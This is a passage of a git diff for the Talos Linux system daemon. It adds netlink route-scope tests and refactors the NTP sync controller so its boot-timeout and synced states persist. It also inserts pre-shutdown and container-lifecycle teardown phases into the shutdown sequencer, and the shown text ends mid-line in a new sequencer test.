a/internal/app/machined/pkg/controllers/network/route_spec_test.go +++ b/internal/app/machined/pkg/controllers/network/route_spec_test.go @@ -15,7 +15,9 @@ import ( "github.com/cosi-project/runtime/pkg/resource" "github.com/jsimonetti/rtnetlink/v2" + "github.com/mdlayher/netlink" "github.com/siderolabs/go-retry/retry" + "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" "golang.org/x/sys/unix" @@ -646,6 +648,300 @@ func (suite *RouteSpecSuite) TestLinkLocalRouteAlias() { ) } +// assertNoIPv6RouteChurn watches RTNLGRP_IPV6_ROUTE for the given duration and fails on the first +// RTM_DELROUTE for the destination. +// +// A spec the kernel never reports back verbatim makes the controller delete and re-add the route on +// every reconcile, and since the controller watches RTMGRP_IPV6_ROUTE, its own writes wake it up again. +func (suite *RouteSpecSuite) assertNoIPv6RouteChurn(destination netip.Prefix, duration time.Duration) { + conn, err := rtnetlink.Dial(&netlink.Config{Groups: unix.RTMGRP_IPV6_ROUTE}) + suite.Require().NoError(err) + + defer conn.Close() //nolint:errcheck + + suite.Require().NoError(conn.SetReadDeadline(time.Now().Add(duration))) + + for { + rtmsgs, msgs, err := conn.Receive() + if err != nil { + suite.Require().ErrorIs(err, os.ErrDeadlineExceeded) + + return + } + + for i, msg := range msgs { + if msg.Header.Type != unix.RTM_DELROUTE { + continue + } + + route, ok := rtmsgs[i].(*rtnetlink.RouteMessage) + if !ok { + continue + } + + if int(route.DstLength) == destination.Bits() && route.Attributes.Dst.Equal(destination.Addr().AsSlice()) { + suite.Require().Failf( + "route churn", + "unexpected RTM_DELROUTE for %s: the route is being rewritten on every reconcile", + destination, + ) + } + } + } +} + +func (suite *RouteSpecSuite) TestIPv6GatewaylessRoute() { + dummyInterface := suite.uniqueDummyInterface() + + conn, err := rtnetlink.Dial(nil) + suite.Require().NoError(err) + + defer conn.Close() //nolint:errcheck + + suite.Require().NoError( + conn.Link.New( + &rtnetlink.LinkMessage{ + Type: unix.ARPHRD_ETHER, + Flags: unix.IFF_UP, + Change: unix.IFF_UP, + Attributes: &rtnetlink.LinkAttributes{ + Name: dummyInterface, + Info: &rtnetlink.LinkInfo{Kind: "dummy"}, + }, + }, + ), + ) + + iface, err := net.InterfaceByName(dummyInterface) + suite.Require().NoError(err) + + defer conn.Link.Delete(uint32(iface.Index)) //nolint:errcheck + + localIP := net.ParseIP("2001:db8:1399:6::2").To16() + + suite.Require().NoError( + conn.Address.New( + &rtnetlink.AddressMessage{ + Family: unix.AF_INET6, + PrefixLength: 64, + Scope: unix.RT_SCOPE_UNIVERSE, + Index: uint32(iface.Index), + Attributes: &rtnetlink.AddressAttributes{ + Address: localIP, + Local: localIP, + }, + }, + ), + ) + + destination := netip.MustParsePrefix("2001:db8:1399:7::/64") + + route := network.NewRouteSpec(network.NamespaceName, "ipv6-gatewayless") + *route.TypedSpec() = network.RouteSpecSpec{ + Family: nethelpers.FamilyInet6, + Destination: destination, + OutLinkName: dummyInterface, + Table: nethelpers.TableMain, + Priority: network.DefaultRouteMetric, + Protocol: nethelpers.ProtocolStatic, + Type: nethelpers.TypeUnicast, + // Normalize() assigns link scope to any route with a destination and no gateway, regardless of family + Scope: nethelpers.ScopeLink, + ConfigLayer: network.ConfigMachineConfiguration, + } + + suite.Create(route) + + suite.Require().NoError( + retry.Constant(3*time.Second, retry.WithUnits(100*time.Millisecond)).Retry( + func() error { + return suite.assertRoute(destination, netip.Addr{}, func(message rtnetlink.RouteMessage) error { + // the IPv6 FIB doesn't store the scope, so a link-scoped spec is reported back as global + if message.Scope != uint8(nethelpers.ScopeGlobal) { + return retry.ExpectedErrorf( + "route scope expected %d, got %d", + nethelpers.ScopeGlobal, + message.Scope, + ) + } + + return nil + }) + }, + ), + ) + + suite.assertNoIPv6RouteChurn(destination, time.Second) + + suite.Require().NoError(suite.State().TeardownAndDestroy(suite.Ctx(), route.Metadata())) + suite.Require().NoError( + retry.Constant(3*time.Second, retry.WithUnits(100*time.Millisecond)).Retry( + func() error { return suite.assertNoRoute(destination, netip.Addr{}) }, + ), + ) +} + +// TestIPv4RouteScopeMismatch covers the other side of routeScopeMatches: for IPv4 the kernel does +// store the scope, so a route already present with the wrong one must be rewritten. +func (suite *RouteSpecSuite) TestIPv4RouteScopeMismatch() { + dummyInterface := suite.uniqueDummyInterface() + + conn, err := rtnetlink.Dial(nil) + suite.Require().NoError(err) + + defer conn.Close() //nolint:errcheck + + suite.Require().NoError( + conn.Link.New( + &rtnetlink.LinkMessage{ + Type: unix.ARPHRD_ETHER, + Flags: unix.IFF_UP, + Change: unix.IFF_UP, + Attributes: &rtnetlink.LinkAttributes{ + Name: dummyInterface, + Info: &rtnetlink.LinkInfo{Kind: "dummy"}, + }, + }, + ), + ) + + iface, err := net.InterfaceByName(dummyInterface) + suite.Require().NoError(err) + + defer conn.Link.Delete(uint32(iface.Index)) //nolint:errcheck + + localIP := net.ParseIP("10.28.0.2").To4() + + suite.Require().NoError( + conn.Address.New( + &rtnetlink.AddressMessage{ + Family: unix.AF_INET, + PrefixLength: 24, + Scope: unix.RT_SCOPE_UNIVERSE, + Index: uint32(iface.Index), + Attributes: &rtnetlink.AddressAttributes{ + Address: localIP, + Local: localIP, + Broadcast: net.ParseIP("10.28.0.255").To4(), + }, + }, + ), + ) + + destination := netip.MustParsePrefix("10.29.0.0/24") + + // install the route out of band with a global scope: everything else matches the spec below, so + // the scope is the only reason for the controller to rewrite it + suite.Require().NoError( + conn.Route.Add( + &rtnetlink.RouteMessage{ + Family: unix.AF_INET, + DstLength: 24, + Protocol: unix.RTPROT_STATIC, + Scope: unix.RT_SCOPE_UNIVERSE, + Type: unix.RTN_UNICAST, + Attributes: rtnetlink.RouteAttributes{ + Dst: destination.Addr().AsSlice(), + OutIface: uint32(iface.Index), + Priority: network.DefaultRouteMetric, + Table: unix.RT_TABLE_MAIN, + }, + }, + ), + ) + + route := network.NewRouteSpec(network.NamespaceName, "ipv4-scope-mismatch") + *route.TypedSpec() = network.RouteSpecSpec{ + Family: nethelpers.FamilyInet4, + Destination: destination, + OutLinkName: dummyInterface, + Table: nethelpers.TableMain, + Priority: network.DefaultRouteMetric, + Protocol: nethelpers.ProtocolStatic, + Type: nethelpers.TypeUnicast, + Scope: nethelpers.ScopeLink, + ConfigLayer: network.ConfigMachineConfiguration, + } + + suite.Create(route) + + suite.Require().NoError( + retry.Constant(3*time.Second, retry.WithUnits(100*time.Millisecond)).Retry( + func() error { + return suite.assertRoute(destination, netip.Addr{}, func(message rtnetlink.RouteMessage) error { + if message.Scope != uint8(nethelpers.ScopeLink) { + return retry.ExpectedErrorf( + "route scope expected %d, got %d", + nethelpers.ScopeLink, + message.Scope, + ) + } + + return nil + }) + }, + ), + ) + + suite.Require().NoError(suite.State().TeardownAndDestroy(suite.Ctx(), route.Metadata())) + suite.Require().NoError( + retry.Constant(3*time.Second, retry.WithUnits(100*time.Millisecond)).Retry( + func() error { return suite.assertNoRoute(destination, netip.Addr{}) }, + ), + ) +} + +func TestRouteScopeMatches(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + name string + family nethelpers.Family + actual nethelpers.Scope + expected nethelpers.Scope + matches bool + }{ + { + name: "inet4 equal", + family: nethelpers.FamilyInet4, + actual: nethelpers.ScopeLink, + expected: nethelpers.ScopeLink, + matches: true, + }, + { + name: "inet4 mismatch", + family: nethelpers.FamilyInet4, + actual: nethelpers.ScopeGlobal, + expected: nethelpers.ScopeLink, + matches: false, + }, + { + // the kernel reports every IPv6 route as global, whatever scope the spec asked for + name: "inet6 link spec reported as global", + family: nethelpers.FamilyInet6, + actual: nethelpers.ScopeGlobal, + expected: nethelpers.ScopeLink, + matches: true, + }, + { + name: "inet6 equal", + family: nethelpers.FamilyInet6, + actual: nethelpers.ScopeGlobal, + expected: nethelpers.ScopeGlobal, + matches: true, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + assert.Equal(t, test.matches, netctrl.RouteScopeMatches( + uint8(test.actual), + &network.RouteSpecSpec{Family: test.family, Scope: test.expected}, + )) + }) + } +} + func TestRouteSpecSuite(t *testing.T) { t.Parallel() diff --git a/internal/app/machined/pkg/controllers/runtime/extension_service_test.go b/internal/app/machined/pkg/controllers/runtime/extension_service_test.go index fea27e60899..70fa62ad56f 100644 --- a/internal/app/machined/pkg/controllers/runtime/extension_service_test.go +++ b/internal/app/machined/pkg/controllers/runtime/extension_service_test.go @@ -19,6 +19,7 @@ import ( runtimecontrollers "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/runtime" "github.com/siderolabs/talos/internal/app/machined/pkg/system" "github.com/siderolabs/talos/internal/app/machined/pkg/system/services" + extensionservices "github.com/siderolabs/talos/pkg/machinery/extensions/services" "github.com/siderolabs/talos/pkg/machinery/resources/runtime" ) @@ -157,6 +158,11 @@ func (suite *ExtensionServiceSuite) TestReconcile() { suite.Assert().Equal("./hello-world", helloSvc.(*services.Extension).Spec.Container.Entrypoint) + frrSvc := svcMock.get("ext-frr") + suite.Require().IsType(&services.Extension{}, frrSvc) + suite.Assert().Equal("/usr/local/bin/frr", frrSvc.(*services.Extension).Spec.Container.Entrypoint) + suite.Assert().Equal(extensionservices.RunnerModeHost, frrSvc.(*services.Extension).Spec.RunnerMode) + suite.Assert().Equal( map[string]serviceStartStopInfo{ "ext-hello-world": { diff --git a/internal/app/machined/pkg/controllers/runtime/testdata/extservices/frr.yaml b/internal/app/machined/pkg/controllers/runtime/testdata/extservices/frr.yaml index 7cfd66a6c8f..e11cdc0d4ae 100644 --- a/internal/app/machined/pkg/controllers/runtime/testdata/extservices/frr.yaml +++ b/internal/app/machined/pkg/controllers/runtime/testdata/extservices/frr.yaml @@ -1,6 +1,7 @@ name: frr +runnerMode: host container: - entrypoint: ./frr + entrypoint: /usr/local/bin/frr args: - --msg - BGP FRR diff --git a/internal/app/machined/pkg/controllers/security/image_verification_config.go b/internal/app/machined/pkg/controllers/security/image_verification_config.go index cab361e9818..c5853696417 100644 --- a/internal/app/machined/pkg/controllers/security/image_verification_config.go +++ b/internal/app/machined/pkg/controllers/security/image_verification_config.go @@ -15,6 +15,7 @@ import ( "github.com/siderolabs/gen/optional" "go.uber.org/zap" + "github.com/siderolabs/talos/internal/pkg/containers/image/imageref" configres "github.com/siderolabs/talos/pkg/machinery/resources/config" "github.com/siderolabs/talos/pkg/machinery/resources/security" ) @@ -73,7 +74,9 @@ func (ctrl *ImageVerificationConfigController) Run(ctx context.Context, r contro if err := safe.WriterModify( ctx, r, security.NewImageVerificationRule(fmt.Sprintf("%04d", idx)), func(r *security.ImageVerificationRule) error { - r.TypedSpec().ImagePattern = rule.ImagePattern() + // store the pattern in its normalized form, so that `talosctl get + // imageverificationrules` shows the pattern which is actually matched + r.TypedSpec().ImagePattern = imageref.NormalizePattern(rule.ImagePattern()) r.TypedSpec().Skip = rule.Skip() r.TypedSpec().Deny = rule.Deny() diff --git a/internal/app/machined/pkg/controllers/time/sync.go b/internal/app/machined/pkg/controllers/time/sync.go index fcd28ca5a2c..3b39c8b162f 100644 --- a/internal/app/machined/pkg/controllers/time/sync.go +++ b/internal/app/machined/pkg/controllers/time/sync.go @@ -121,7 +121,6 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge } var ( - syncCtx context.Context syncCtxCancel context.CancelFunc syncWg sync.WaitGroup @@ -130,15 +129,66 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge spikeCh <-chan struct{} syncer NTPSyncer - timeSynced bool + // ntpSynced is set once the NTP syncer reports the time as in sync. + // + // It is sticky: the wall clock doesn't become wrong because the syncer got restarted or + // reconfigured, so once the time is in sync, it stays in sync. + ntpSynced bool + // bootTimeoutElapsed is set once the configured boot timeout elapses since the boot time. + // + // It is sticky as well: once the boot sequence has been unblocked, it should never be + // blocked again on the time sync. + bootTimeoutElapsed bool + epoch int useNTS bool spikeStatus ntp.SpikeStatus - timeSyncTimeoutTimer *stdtime.Timer - timeSyncTimeoutCh <-chan stdtime.Time + bootTimeoutTimer *stdtime.Timer + bootTimeoutCh <-chan stdtime.Time ) + stopBootTimeoutTimer := func() { + if bootTimeoutTimer != nil { + bootTimeoutTimer.Stop() + + bootTimeoutTimer = nil + } + + bootTimeoutCh = nil + } + + stopSyncer := func() { + syncCtxCancel() + + syncWg.Wait() + + syncer = nil + syncCh = nil + epochCh = nil + spikeCh = nil + spikeStatus = ntp.SpikeStatus{} + } + + startSyncer := func(timeServers []string, newUseNTS bool) { + useNTS = newUseNTS + + newSyncer := ctrl.NewNTPSyncer(logger, timeServers, useNTS) + + syncer = newSyncer + syncCh = newSyncer.Synced() + epochCh = newSyncer.EpochChange() + spikeCh = newSyncer.SpikeStatusChange() + spikeStatus = ntp.SpikeStatus{} + + syncCtx, cancel := context.WithCancel(ctx) + syncCtxCancel = cancel + + syncWg.Go(func() { + newSyncer.Run(syncCtx) + }) + } + wallClockJumpDetector := ctrl.NewClockJumpDetector(clock.DefaultJumpDetectionInterval, ntp.EpochLimit) wallClockJumpCh := wallClockJumpDetector.Run(ctx) @@ -149,9 +199,7 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge syncWg.Wait() } - if timeSyncTimeoutTimer != nil { - timeSyncTimeoutTimer.Stop() - } + stopBootTimeoutTimer() }() var wallClockJumpDetected bool @@ -163,14 +211,15 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge case <-r.EventCh(): case <-syncCh: syncCh = nil - timeSynced = true + ntpSynced = true case <-epochCh: epoch++ case <-spikeCh: spikeStatus = syncer.SpikeStatus() - case <-timeSyncTimeoutCh: - timeSynced = true - timeSyncTimeoutTimer = nil + case <-bootTimeoutCh: + bootTimeoutElapsed = true + bootTimeoutTimer = nil + bootTimeoutCh = nil case <-wallClockJumpCh: wallClockJumpDetected = true } @@ -198,7 +247,7 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge } } - var syncTimeout stdtime.Duration + var bootTimeout stdtime.Duration syncDisabled := false newUseNTS := timeServersStatus.TypedSpec().UseNTS @@ -212,7 +261,7 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge syncDisabled = true } - syncTimeout = cfg.Config().NetworkTimeSyncConfig().BootTimeout() + bootTimeout = cfg.Config().NetworkTimeSyncConfig().BootTimeout() } if wallClockJumpDetected && syncDisabled { @@ -225,90 +274,56 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge ) } - if !timeSynced { + // The boot timeout unblocks the boot sequence if the time doesn't get in sync in time. + // + // It is measured since the boot time, and it is the timer which brings the controller out + // of the select above: nothing else is guaranteed to wake it up once the machine config + // and the time server status settle down. + if !bootTimeoutElapsed { sinceBoot := stdtime.Since(ctrl.bootTime) switch { - case syncTimeout == 0: - // disable sync timeout - if timeSyncTimeoutTimer != nil { - timeSyncTimeoutTimer.Stop() - } - - timeSyncTimeoutCh = nil - case sinceBoot > syncTimeout: - // over sync timeout already, so in sync - timeSynced = true + case bootTimeout == 0: + // no boot timeout configured + stopBootTimeoutTimer() + case sinceBoot >= bootTimeout: + bootTimeoutElapsed = true + + stopBootTimeoutTimer() + case bootTimeoutTimer == nil: + bootTimeoutTimer = stdtime.NewTimer(bootTimeout - sinceBoot) + bootTimeoutCh = bootTimeoutTimer.C default: - // make sure timer fires in whatever time is left till the timeout - if timeSyncTimeoutTimer == nil || !timeSyncTimeoutTimer.Reset(syncTimeout-sinceBoot) { - timeSyncTimeoutTimer = stdtime.NewTimer(syncTimeout - sinceBoot) - timeSyncTimeoutCh = timeSyncTimeoutTimer.C - } + // the configured timeout might have changed, so re-arm the timer for the time left + bootTimeoutTimer.Reset(bootTimeout - sinceBoot) } } switch { case syncDisabled && syncer != nil: // stop syncing - syncCtxCancel() - - syncWg.Wait() - - syncer = nil - syncCh = nil - epochCh = nil - spikeCh = nil - spikeStatus = ntp.SpikeStatus{} + stopSyncer() case !syncDisabled && syncer != nil && newUseNTS != useNTS: // NTS setting changed, restart the syncer logger.Info("NTS setting changed, restarting syncer", zap.Bool("useNTS", newUseNTS)) - syncCtxCancel() - - syncWg.Wait() - - useNTS = newUseNTS - - syncer = ctrl.NewNTPSyncer(logger, timeServers, useNTS) - syncCh = syncer.Synced() - epochCh = syncer.EpochChange() - spikeCh = syncer.SpikeStatusChange() - - timeSynced = false - spikeStatus = ntp.SpikeStatus{} - - syncCtx, syncCtxCancel = context.WithCancel(ctx) //nolint:govet,fatcontext - - syncWg.Go(func() { - syncer.Run(syncCtx) - }) + stopSyncer() + startSyncer(timeServers, newUseNTS) case !syncDisabled && syncer == nil: // start syncing - useNTS = newUseNTS - - syncer = ctrl.NewNTPSyncer(logger, timeServers, useNTS) - syncCh = syncer.Synced() - epochCh = syncer.EpochChange() - spikeCh = syncer.SpikeStatusChange() - - timeSynced = false - spikeStatus = ntp.SpikeStatus{} - - syncCtx, syncCtxCancel = context.WithCancel(ctx) //nolint:govet,fatcontext - - syncWg.Go(func() { - syncer.Run(syncCtx) - }) + startSyncer(timeServers, newUseNTS) } if syncer != nil { syncer.SetTimeServers(timeServers) } - if syncDisabled { - timeSynced = true - } + // The time is in sync if the syncer has reported it as in sync, or if the boot timeout has + // elapsed, or if the time sync is disabled altogether. + // + // Both flags this is derived from are sticky, so the time never goes out of sync once it + // gets in sync, no matter how the syncer gets restarted or reconfigured. + timeSynced := ntpSynced || bootTimeoutElapsed || syncDisabled // NOTE: TimeStatus is used as a reconcile trigger by the certificate generating controllers, // so it should only carry the fields which change rarely; the spike filter state, which @@ -321,7 +336,7 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge return nil }); err != nil { - return fmt.Errorf("error updating NTP status: %w", err) //nolint:govet + return fmt.Errorf("error updating NTP status: %w", err) } if err = safe.WriterModify(ctx, r, time.NewStatus(), func(r *time.Status) error { @@ -333,7 +348,7 @@ func (ctrl *SyncController) Run(ctx context.Context, r controller.Runtime, logge return nil }); err != nil { - return fmt.Errorf("error updating objects: %w", err) //nolint:govet + return fmt.Errorf("error updating objects: %w", err) } r.ResetRestartBackoff() diff --git a/internal/app/machined/pkg/controllers/time/sync_test.go b/internal/app/machined/pkg/controllers/time/sync_test.go index b1e41252ce5..4f6f73b8a5b 100644 --- a/internal/app/machined/pkg/controllers/time/sync_test.go +++ b/internal/app/machined/pkg/controllers/time/sync_test.go @@ -278,6 +278,118 @@ func (suite *SyncSuite) TestReconcileSyncBootTimeout() { }) } +func (suite *SyncSuite) TestReconcileSyncBootTimeoutKeptAcrossSyncerRestart() { + suite.registerSyncController(v1alpha1runtime.ModeMetal) + timeServers := suite.createDefaultTimeServers() + + cfg := config.NewMachineConfig( + container.NewV1Alpha1( + &v1alpha1.Config{ + ConfigVersion: "v1alpha1", + MachineConfig: &v1alpha1.MachineConfig{ + MachineTime: &v1alpha1.TimeConfig{ + TimeBootTimeout: time.Second, + }, + }, + ClusterConfig: &v1alpha1.ClusterConfig{}, + }, + ), + ) + + suite.Create(cfg) + + // the boot timeout elapses and unblocks the boot sequence + suite.assertTimeStatus(timeresource.StatusSpec{ + Synced: true, + Epoch: 0, + SyncDisabled: false, + }) + + versionBeforeRestart := suite.timeStatusVersion() + + // flipping the NTS setting restarts the syncer, but the boot timeout has already elapsed + ctest.UpdateWithConflicts(suite, timeServers, func(r *network.TimeServerStatus) error { + r.TypedSpec().UseNTS = true + + return nil + }) + + suite.Require().EventuallyWithT(func(collect *assert.CollectT) { + s := suite.getMockSyncer() + if !assert.NotNil(collect, s, "syncer not created yet") { + return + } + + assert.True(collect, s.getUseNTS(), "syncer not yet restarted with NTS") + }, 10*time.Second, 100*time.Millisecond) + + suite.assertTimeStatus(timeresource.StatusSpec{ + Synced: true, + Epoch: 0, + SyncDisabled: false, + }) + + suite.Assert().Equal(versionBeforeRestart, suite.timeStatusVersion(), "time should not go out of sync when the syncer is restarted") +} + +func (suite *SyncSuite) TestReconcileSyncKeptAcrossSyncerRestart() { + suite.registerSyncController(v1alpha1runtime.ModeMetal) + timeServers := suite.createDefaultTimeServers() + + cfg := config.NewMachineConfig( + container.NewV1Alpha1( + &v1alpha1.Config{ + ConfigVersion: "v1alpha1", + MachineConfig: &v1alpha1.MachineConfig{}, + ClusterConfig: &v1alpha1.ClusterConfig{}, + }, + ), + ) + + suite.Create(cfg) + + var mockSyncer *mockSyncer + + suite.Require().EventuallyWithT(func(collect *assert.CollectT) { + mockSyncer = suite.getMockSyncer() + assert.NotNil(collect, mockSyncer, "syncer not created yet") + }, 10*time.Second, 100*time.Millisecond) + + close(mockSyncer.syncedCh) + + suite.assertTimeStatus(timeresource.StatusSpec{ + Synced: true, + Epoch: 0, + SyncDisabled: false, + }) + + versionBeforeRestart := suite.timeStatusVersion() + + // no boot timeout is configured here, so the sync state has to survive the restart on its own + ctest.UpdateWithConflicts(suite, timeServers, func(r *network.TimeServerStatus) error { + r.TypedSpec().UseNTS = true + + return nil + }) + + suite.Require().EventuallyWithT(func(collect *assert.CollectT) { + s := suite.getMockSyncer() + if !assert.NotNil(collect, s, "syncer not created yet") { + return + } + + assert.True(collect, s.getUseNTS(), "syncer not yet restarted with NTS") + }, 10*time.Second, 100*time.Millisecond) + + suite.assertTimeStatus(timeresource.StatusSpec{ + Synced: true, + Epoch: 0, + SyncDisabled: false, + }) + + suite.Assert().Equal(versionBeforeRestart, suite.timeStatusVersion(), "time should not go out of sync when the syncer is restarted") +} + func (suite *SyncSuite) TestReconcileSyncWithNTS() { suite.registerSyncController(v1alpha1runtime.ModeMetal) timeServers := suite.createDefaultTimeServers() diff --git a/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer.go b/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer.go index bb19c069f5c..f52f3938056 100644 --- a/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer.go +++ b/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer.go @@ -187,6 +187,9 @@ func (*Sequencer) Install(r runtime.Runtime) []runtime.Phase { ).Append( "denyNewServices", DenyNewServices, + ).Append( + "stopContainers", + TeardownContainerLifecycle, ).Append( "volumeFinalize", TeardownVolumeLifecycle, @@ -262,10 +265,7 @@ func (*Sequencer) Reboot(r runtime.Runtime, in *machineapi.RebootRequest) []runt "cleanup", StopAllPods, ). - Append( - "dbus", - StopDBus, - ). + AppendList(preShutdownPhaselist()). AppendList(stopAllPhaselist(r, true)) } @@ -321,9 +321,8 @@ func (*Sequencer) Reset(r runtime.Runtime, in runtime.ResetOptions) []runtime.Ph !in.GetGraceful(), "cleanup", taskErrorHandler(logError, StopAllPods), - ).Append( - "dbus", - StopDBus, + ).AppendList( + preShutdownPhaselist(), ).AppendWhen( in.GetGraceful() && (r.Config().Machine().Type() != machine.TypeWorker), "leave", @@ -376,9 +375,8 @@ func (*Sequencer) Shutdown(r runtime.Runtime, in *machineapi.ShutdownRequest) [] ).Append( "cleanup", StopAllPods, - ).Append( - "dbus", - StopDBus, + ).AppendList( + preShutdownPhaselist(), ). AppendList(stopAllPhaselist(r, false)). Append("shutdown", Shutdown) @@ -397,9 +395,8 @@ func (*Sequencer) StageUpgrade(r runtime.Runtime, in *machineapi.UpgradeRequest) phases = phases.Append( "cleanup", StopAllPods, - ).Append( - "dbus", - StopDBus, + ).AppendList( + preShutdownPhaselist(), ).AppendList( stopAllPhaselist(r, in.GetRebootMode() == machineapi.UpgradeRequest_DEFAULT), ).Append( @@ -461,9 +458,11 @@ func (*Sequencer) Upgrade(r runtime.Runtime, in *machineapi.UpgradeRequest) []ru ).Append( "cleanup", StopAllPods, + ).AppendList( + preShutdownPhaselist(), ).Append( - "dbus", - StopDBus, + "stopContainers", + TeardownContainerLifecycle, ).Append( "stopServices", StopServicesEphemeral, @@ -504,6 +503,12 @@ func (*Sequencer) Upgrade(r runtime.Runtime, in *machineapi.UpgradeRequest) []ru return phases } +func preShutdownPhaselist() PhaseList { + return PhaseList{}. + Append("preShutdown", PreShutdownServices). + Append("dbus", StopDBus) +} + func stopAllPhaselist(r runtime.Runtime, enableKexec bool) PhaseList { phases := PhaseList{} @@ -517,6 +522,9 @@ func stopAllPhaselist(r runtime.Runtime, enableKexec bool) PhaseList { phases = phases.Append( "denyNewServices", DenyNewServices, + ).Append( + "stopContainers", + TeardownContainerLifecycle, ).Append( "stopServices", StopServicesEphemeral, diff --git a/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_tasks.go b/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_tasks.go index aa59a947c62..8ad332bc938 100644 --- a/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_tasks.go +++ b/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_tasks.go @@ -66,6 +66,7 @@ import ( "github.com/siderolabs/talos/pkg/machinery/constants" metamachinery "github.com/siderolabs/talos/pkg/machinery/meta" blockres "github.com/siderolabs/talos/pkg/machinery/resources/block" + containersres "github.com/siderolabs/talos/pkg/machinery/resources/containers" crires "github.com/siderolabs/talos/pkg/machinery/resources/cri" resourcefiles "github.com/siderolabs/talos/pkg/machinery/resources/files" "github.com/siderolabs/talos/pkg/machinery/resources/k8s" @@ -442,6 +443,13 @@ func StartAllServices(runtime.Sequence, any) (runtime.TaskExecutionFunc, string) }, "startAllServices" } +// PreShutdownServices runs node shutdown hooks while services are still running. +func PreShutdownServices(runtime.Sequence, any) (runtime.TaskExecutionFunc, string) { + return func(ctx context.Context, _ *log.Logger, r runtime.Runtime) error { + return system.Services(r).PreShutdown(ctx) + }, "preShutdownServices" +} + // StopServicesEphemeral represents the StopServicesEphemeral task. func StopServicesEphemeral(runtime.Sequence, any) (runtime.TaskExecutionFunc, string) { return func(ctx context.Context, logger *log.Logger, r runtime.Runtime) (err error) { @@ -1880,15 +1888,18 @@ func WaitForCARoots(runtime.Sequence, any) (runtime.TaskExecutionFunc, string) { }, "waitForCARoots" } -// TeardownVolumeLifecycle tears down volume lifecycle resource. -func TeardownVolumeLifecycle(runtime.Sequence, any) (runtime.TaskExecutionFunc, string) { +// teardownLifecycleResource tears down a lifecycle barrier resource and waits for it to be released. +// +// Such a resource carries no data: the finalizer set is the payload. Every controller that owns +// something which has to be wound down before a given point in the shutdown holds a finalizer on it, +// so tearing it down and waiting for that set to empty is how a phase waits for a subsystem to be +// wound down. +func teardownLifecycleResource(md *resource.Metadata) runtime.TaskExecutionFunc { return func(ctx context.Context, logger *log.Logger, r runtime.Runtime) error { ctx, cancel := context.WithTimeout(ctx, 5*time.Minute) defer cancel() - volumeLifecycle := blockres.NewVolumeLifecycle(blockres.NamespaceName, blockres.VolumeLifecycleID).Metadata() - - _, err := r.State().V1Alpha2().Resources().Teardown(ctx, volumeLifecycle) + _, err := r.State().V1Alpha2().Resources().Teardown(ctx, md) if err != nil { if state.IsNotFoundError(err) { return nil @@ -1897,13 +1908,29 @@ func TeardownVolumeLifecycle(runtime.Sequence, any) (runtime.TaskExecutionFunc, return err } - _, err = r.State().V1Alpha2().Resources().WatchFor(ctx, volumeLifecycle, state.WithFinalizerEmpty()) - if err != nil { + if _, err = r.State().V1Alpha2().Resources().WatchFor(ctx, md, state.WithFinalizerEmpty()); err != nil { return err } - return r.State().V1Alpha2().Resources().Destroy(ctx, volumeLifecycle) - }, "teardownLifecycle" + return r.State().V1Alpha2().Resources().Destroy(ctx, md) + } +} + +// TeardownVolumeLifecycle tears down volume lifecycle resource. +func TeardownVolumeLifecycle(runtime.Sequence, any) (runtime.TaskExecutionFunc, string) { + return teardownLifecycleResource( + blockres.NewVolumeLifecycle(blockres.NamespaceName, blockres.VolumeLifecycleID).Metadata(), + ), "teardownLifecycle" +} + +// TeardownContainerLifecycle tears down the container shutdown barrier resource. +// +// Unlike TeardownVolumeLifecycle, this runs before stopServices: that phase is what stops the CRI +// containerd instance itself, so a barrier torn down after it would find containerd already gone. +func TeardownContainerLifecycle(runtime.Sequence, any) (runtime.TaskExecutionFunc, string) { + return teardownLifecycleResource( + containersres.NewContainerLifecycle(containersres.NamespaceName, containersres.ContainerLifecycleID).Metadata(), + ), "teardownContainerLifecycle" } func pauseOnFailure(callback func(runtime.Sequence, any) (runtime.TaskExecutionFunc, string), diff --git a/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_test.go b/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_test.go index 9da2447c3b9..90f108ddd23 100644 --- a/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_test.go +++ b/internal/app/machined/pkg/runtime/v1alpha1/v1alpha1_sequencer_test.go @@ -6,11 +6,18 @@ package v1alpha1 import ( + "log" "reflect" "slices" "testing" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" + "github.com/siderolabs/talos/internal/app/machined/pkg/runtime/logging" + "github.com/siderolabs/talos/internal/app/machined/pkg/runtime/v1alpha1/platform/metal" + machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" ) func TestNewSequencer(t *testing.T) { @@ -33,6 +40,114 @@ func TestNewSequencer(t *testing.T) { } } +type resetOptions struct{} + +func (resetOptions) GetGraceful() bool { + return false +} + +func (resetOptions) GetReboot() bool { + return true +} + +func (resetOptions) GetMode() machineapi.ResetRequest_WipeMode { + return machineapi.ResetRequest_ALL +} + +func (resetOptions) GetUserDisksToWipe() []string { + return nil +} + +func (resetOptions) GetSystemDiskTargets() []runtime.PartitionTarget { + return nil +} + +func (resetOptions) GetSystemDiskPaths() []string { + return nil +} + +func TestPreShutdownPhaseOrdering(t *testing.T) { + t.Setenv("PLATFORM", "container") + + state, err := NewState() + require.NoError(t, err) + + metalPlatform := 